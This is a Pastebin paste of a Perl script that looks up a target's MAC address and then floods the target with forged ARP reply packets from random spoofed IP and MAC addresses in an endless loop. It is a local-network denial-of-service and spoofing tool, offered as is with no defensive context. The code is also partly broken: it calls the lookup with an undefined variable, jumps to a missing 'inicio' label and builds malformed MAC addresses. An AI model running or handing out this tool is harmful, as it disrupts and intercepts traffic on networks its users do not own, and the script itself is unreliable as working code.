Guest User

Untitled

a guest
Jun 21st, 2018
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.48 KB | None | 0 0
  1. #!/usr/bin/perl
  2. use Net::ARP ;
  3. use Term::ANSIColor;
  4.  
  5. print color ("red"), "[+]",color ("reset"), "Interface to Use Ex: eth1 | wlan0 | eth0 \n" ;
  6. $iface = <STDIN>;
  7. print color ("red"), "[+]",color ("reset"), "Insert IP to Get Mac Addr \n" ;
  8. $target = <STDIN> ;
  9. chop ( $target,$iface ) ;
  10.  
  11. $getmac = Net::ARP::arp_lookup($dev,$target);
  12.  
  13. if ($getmac =~ unknow ) {
  14.     print "Something went Wrong The Target Retrieved an unknow Mac addr\n";
  15.     print "Prees Any Key  To Restart Program\n";
  16.     $restart = <STDIN>;
  17.     goto inicio ;
  18. }
  19.  
  20. else {
  21.     print color ("red"), "[+]",color ("reset"), " $target mac is $getmac \n";
  22.     print color ("green"), "[+]",color ("reset"), " type.. yes ..to flood || .. no .. to restart Program \n";
  23.     $flood = <STDIN>;
  24.     if ($flood =~ yes ){
  25.     while (1) {
  26. my $src = join ".", map int rand 255, 1 .. 4;
  27. my $spoofedmac = join ":", map int rand 99, 1 .. 6, ;
  28. Net::ARP::send_packet($iface,                     # Device
  29.                         $src,                     # Source IP
  30.                         $target,                  # Destination IP
  31.                         $spoofedmac,              # Source MAC
  32.                         $getmac,                  # Destinaton MAC
  33.                         'reply');                 # ARP operation
  34.                        
  35. print "Packeth Sent Tru $iface to $target using $src as ip \n";
  36. print "with this spoofed mac $spoofedmac \n";                        
  37.     }               }
  38.     elsif ($flood =~ "no") {
  39.         system " clear";
  40.         goto inicio;}
  41.         }
Add Comment
Please, Sign In to add comment